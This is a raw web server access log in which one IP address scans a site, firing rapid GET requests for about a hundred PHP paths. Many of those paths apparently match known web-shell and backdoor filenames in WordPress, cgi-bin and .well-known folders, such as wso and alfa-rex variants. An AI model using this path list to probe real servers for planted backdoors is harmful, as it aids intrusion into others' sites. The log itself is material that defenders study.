HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:14 -0400] "GET /wp-admin/css/colors/coffee/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:14 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:14 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:14 -0400] "GET /wp-includes/block-supports/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:14 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:14 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:15 -0400] "GET /init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:15 -0400] "GET /wp-includes/css/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:15 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:15 -0400] "GET /wp-admin/images/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:15 -0400] "GET /wp-includes/SimplePie/Cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.33.45.65 - - [27/Apr/2025:19:21:15 -0400] "GET /widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:21:15 -0400] "GET /cgi-bin/xdrwxeax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:15 -0400] "GET /wp-includes/mani.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:15 -0400] "GET /.well-known/pki-validation/ssl.php?xsec=blocker HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:16 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:16 -0400] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.33.45.65 - - [27/Apr/2025:19:21:16 -0400] "GET /wp-admin/network/index.php4 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:16 -0400] "GET /ova.php4https:/worldbdsm.net/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:16 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:16 -0400] "GET /.well-known/pki-validation/wp-sigunq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.33.45.65 - - [27/Apr/2025:19:21:16 -0400] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:16 -0400] "GET /.well-known/functions.schedules.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.65 - - [27/Apr/2025:19:21:16 -0400] "GET /wzy.php?action=door123 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.33.45.65 - - [27/Apr/2025:19:21:16 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:21:17 -0400] "GET /.well-known/acme-challenge/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:17 -0400] "GET /wp-includes/packed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - [27/Apr/2025:19:21:17 -0400] "GET /product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:17 -0400] "GET /.well-known/acme-challenge/blurbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:17 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.65 - - [27/Apr/2025:19:21:17 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:17 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:17 -0400] "GET /checkbox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:17 -0400] "GET /wp-includes/SimplePie/lig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:17 -0400] "GET /.well-known/acme-challenge/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:18 -0400] "GET /wp-files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:18 -0400] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:21:18 -0400] "GET /black.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:18 -0400] "GET /wp-includes/Requests/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:18 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:18 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:18 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:18 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:18 -0400] "GET /word.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:19 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:19 -0400] "GET /wp-content/plugins/sid/sidwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:19 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:19 -0400] "GET /wp-includes/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:19 -0400] "GET /wp-admin/css/colors/blue/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.33.45.65 - - [27/Apr/2025:19:21:19 -0400] "GET /.well-known/pki-validation/scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:19 -0400] "GET /assets/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:19 -0400] "GET /wp-includes/fonts/parx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.65 - - [27/Apr/2025:19:21:19 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.65 - - [27/Apr/2025:19:21:20 -0400] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.33.45.65 - - [27/Apr/2025:19:21:20 -0400] "GET /wp-includes/Text/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:20 -0400] "GET /wp-includes/block-patterns/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.65 - - [27/Apr/2025:19:21:20 -0400] "GET /modules/mod_footer/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:20 -0400] "GET /wp-admin/wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.33.45.65 - - [27/Apr/2025:19:21:20 -0400] "GET /f0x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:20 -0400] "GET /templates/cassiopeia/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:20 -0400] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:21 -0400] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:21 -0400] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:21 -0400] "GET /wp-includes/fonts/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:21:21 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:21 -0400] "GET /wp-content/themes/digital-download/new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:21 -0400] "GET /sh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.33.45.65 - - [27/Apr/2025:19:21:21 -0400] "GET /wp-admin/images/thumbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:21 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - [27/Apr/2025:19:21:22 -0400] "GET /wp-content/plugins/elementor/wp-wyrvg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:22 -0400] "GET /wp-includes/css/dist/editor/fxp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.65 - - [27/Apr/2025:19:21:22 -0400] "GET /wp-admin/network/back.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:22 -0400] "GET /wp-admin/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:22 -0400] "GET /wp-includes/customize/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:22 -0400] "GET /version.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:22 -0400] "GET /wp-content HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:22 -0400] "GET /wp-admin/wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:21:22 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:21:22 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.33.45.65 - - [27/Apr/2025:19:21:23 -0400] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.33.45.65 - - [27/Apr/2025:19:21:23 -0400] "GET /wp-admin/images/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:23 -0400] "GET /wp-content/themes/pridmag/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:23 -0400] "GET /wp-admin/css/colors/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:23 -0400] "GET /.well-known/acme-challenge/aboudt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:23 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:23 -0400] "GET /mm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:23 -0400] "GET /wp-includes/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:24 -0400] "GET /indeex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:24 -0400] "GET /sys.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:24 -0400] "GET /wp-includes/customize/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:24 -0400] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:24 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:24 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:24 -0400] "GET /templates/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:24 -0400] "GET /cgi-bin/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:24 -0400] "GET /wp-admin/network/ayk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.33.45.65 - - [27/Apr/2025:19:21:25 -0400] "GET /.well-known/pki-validation/baja.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:25 -0400] "GET /sys.phhttp:/marykelledy.com/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:25 -0400] "GET /.well-known/pki-validation/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:25 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:21:25 -0400] "GET /.well-known/zaza.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:25 -0400] "GET /.well-known/acme-challenge/shimo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:25 -0400] "GET /wp-includes/images/smilies/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:25 -0400] "GET /max.phhttp:/sushiavenue.fr/alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:26 -0400] "GET /.well-known/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:26 -0400] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:26 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:21:26 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:26 -0400] "GET /wp-content/plugins/clara/clara.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:26 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/theme.phpcom.au/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:26 -0400] "GET 